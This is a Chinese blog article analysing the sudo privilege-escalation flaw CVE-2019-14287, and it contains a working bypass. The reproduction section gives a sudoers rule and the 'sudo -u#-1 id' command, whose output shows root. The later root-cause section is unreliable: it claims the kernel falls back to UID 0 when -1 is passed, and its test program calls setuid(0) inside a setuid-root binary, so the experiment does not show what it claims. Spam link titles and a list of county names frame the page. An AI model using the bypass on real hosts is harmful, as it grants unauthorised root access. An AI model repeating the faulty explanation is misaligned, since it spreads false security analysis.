亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Linux sudo漏洞CVE-2019-14287的實例分析

發布時間:2021-12-27 18:19:21 來源:億速云 閱讀:183 作者:柒染 欄目:安全技術

今天就跟大家聊聊有關Linux sudo漏洞CVE-2019-14287的實例分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。

sudo 被爆光一個漏洞,非授權的特權用戶可以繞過限制獲得特權。

一、漏洞復現

實驗環境:

操作系統CentOS Linux release 7.5.1804
內核3.10.0-862.14.4.el7.x86_64
sudo 版本1.8.19p2

首先添加一個系統帳號 test_sudo 作為實驗所用:

[root@localhost ~] # useradd test_sudo

然后用 root 身份在 /etc/sudoers 中增加:

test_sudo ALL=(ALL,!root) /usr/bin/id

表示允許 test_sudo 帳號以非 root 外的身份執行 /usr/bin/id,如果試圖以 root 帳號運行 id 命令則會被拒絕:

[test_sudo@localhost ~] $ sudo id
對不起,用戶 test_sudo 無權以 root 的身份在 localhost.localdomain 上執行 /bin/id。

sudo -u 也可以通過指定 UID 的方式來代替用戶,當指定的 UID 為 -1 或 4294967295(-1 的補碼,其實內部是按無符號整數處理的) 時,因此可以觸發漏洞,繞過上面的限制并以 root 身份執行命令:

[test_sudo@localhost ~]$ sudo -u#-1 id
uid=0(root) gid=1004(test_sudo) 組=1004(test_sudo) 環境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[test_sudo@localhost ~]$ sudo -u#4294967295 id
uid=0(root) gid=1004(test_sudo) 組=1004(test_sudo) 環境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

二、漏洞原理分析

在官方代碼倉庫找到提交的修復代碼:https://www.sudo.ws/repos/sudo/rev/83db8dba09e7。

從提交的代碼來看,只修改了 lib/util/strtoid.c。strtoid.c 中定義的 sudo_strtoid_v1 函數負責解析參數中指定的 UID 字符串,補丁關鍵代碼:

/* Disallow id -1, which means "no change". */if (!valid_separator(p, ep, sep) || llval == -1 || llval == (id_t)UINT_MAX) {  if (errstr != NULL)    *errstr = N_("invalid value");  errno = EINVAL;  goto done; }

llval 變量為解析后的值,不允許 llval 為 -1 和 UINT_MAX(4294967295)。

也就是補丁只限制了取值而已,從漏洞行為來看,如果為 -1,最后得到的 UID 卻是 0,為什么不能為 -1?當 UID 為 -1 的時候,發生了什么呢?繼續深入分析一下。

我們先用 strace 跟蹤下系統調用看看:

[root@localhost ~]# strace -u test_sudo sudo -u#-1 id

因為 strace -u 參數需要 root 身份才能使用,因此上面命令需要先切換到 root 帳號下,然后用 test_sudo 身份執行了 sudo -u#-1 id 命令。從輸出的系統調用中,注意到:

setresuid(-1, -1, -1)                   = 0

sudo 內部調用了 setresuid 來提升權限(雖然還調用了其他設置組之類的函數,但先不做分析),并且傳入的參數都是 -1。

因此,我們做一個簡單的實驗來調用 setresuid(-1, -1, -1) ,看看為什么執行后會是 root 身份,代碼如下:

#include <stdio.h>#include <sys/types.h>#include <unistd.h>int main() {
  setresuid(-1, -1, -1);
  setuid(0);
  printf("EUID: %d, UID: %d\n", geteuid(), getuid());
  return 0;}

注意,需要將編譯后的二進制文件所屬用戶改為 root,并加上 s 位,當設置了 s 位后,其他帳號執行時就會以文件所屬帳號的身份運行。

為了方便,我直接在 root 帳號下編譯,并加 s 位:

[root@localhost tmp] # gcc test.c
[root@localhost tmp] # chmod +s a.out

然后以 test_sudo 帳號執行 a.out:

[test_sudo@localhost tmp] $ ./a.out
EUID: 0, UID: 0

可見,運行后,當前身份變成了 root。

其實 setresuid 函數只是系統調用 setresuid32 的簡單封裝,可以在 GLibc 的源碼中看到它的實現:

// 文件:sysdeps/unix/sysv/linux/i386/setresuid.c
int
__setresuid (uid_t ruid, uid_t euid, uid_t suid)
{
  int result;
  result = INLINE_SETXID_SYSCALL (setresuid32, 3, ruid, euid, suid);
  return result;
}

setresuid32 最后調用的是內核函數 sys_setresuid,它的實現如下:

// 文件:kernel/sys.c
SYSCALL_DEFINE3(setresuid, uid_t, ruid, uid_t, euid, uid_t, suid)
{
  ...
  struct cred *new;
  ...
  kruid = make_kuid(ns, ruid);
  keuid = make_kuid(ns, euid);
  ksuid = make_kuid(ns, suid);
  new = prepare_creds();
  old = current_cred();
  ...
  if (ruid != (uid_t) -1) {
    new->uid = kruid;
    if (!uid_eq(kruid, old->uid)) {
      retval = set_user(new);
      if (retval < 0)
        goto error;
    }
  }
  if (euid != (uid_t) -1)
    new->euid = keuid;
  if (suid != (uid_t) -1)
    new->suid = ksuid;
  new->fsuid = new->euid;
  ...
  return commit_creds(new);
 error:
  abort_creds(new);
  return retval;
}

簡單來說,內核在處理時,會調用 prepare_creds 函數創建一個新的憑證結構體,而傳遞給函數的 ruid、euid和suid 三個參數只有在不為 -1 的時候,才會將 ruid、euid 和 suid 賦值給新的憑證(見上面三個 if 邏輯),否則默認的 UID 就是 0。最后調用 commit_creds 使憑證生效。這就是為什么傳遞 -1 時,會擁有 root 權限的原因。

我們也可以寫一段 SystemTap 腳本來觀察下從應用層調用 setresuid 并傳遞 -1 到內核中的狀態:

# 捕獲 setresuid 的系統調用probe syscall.setresuid {
  printf("exec %s, args: %s\n", execname(), argstr)}# 捕獲內核函數 sys_setresuid 接受到的參數probe kernel.function("sys_setresuid").call {  printf("(sys_setresuid) arg1: %d, arg2: %d, arg3: %d\n", int_arg(1), int_arg(2), int_arg(3));}# 捕獲內核函數 prepare_creds 的返回值probe kernel.function("prepare_creds").return {  # 具體數據結構請見 linux/cred.h 中 struct cred 結構體  printf("(prepare_cred), uid: %d; euid: %d\n", $return->uid->val, $return->euid->val)}

然后執行:

[root@localhost tmp] # stap test.stp

接著運行前面我們編譯的 a.out,看看 stap 捕獲到的:

exec a.out, args: -1, -1, -1 # 這里是傳遞給 setresuid 的 3 個參數(sys_setresuid) arg1: -1, arg2: -1, arg3: -1 # 這里顯示最終調用 sys_setresuid 的三個參數(prepare_cred), uid: 1000; euid: 0 # sys_setresuid 調用了 prepare_cred,可看到默認 EUID 是為 0的

看完上述內容,你們對Linux sudo漏洞CVE-2019-14287的實例分析有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

九龙城区| 靖江市| 抚远县| 秭归县| 邹城市| 进贤县| 赤城县| 乐清市| 璧山县| 望都县| 昌图县| 曲阜市| 攀枝花市| 乌兰县| 稷山县| 泰兴市| 扬中市| 庆元县| 鞍山市| 兴安盟| 新平| 崇信县| 新野县| 宿州市| 铁岭县| 安塞县| 通山县| 永嘉县| 简阳市| 丰县| 新龙县| 林州市| 科技| 巨野县| 宜兰县| 灵丘县| 隆回县| 长宁县| 洪洞县| 嘉兴市| 新建县|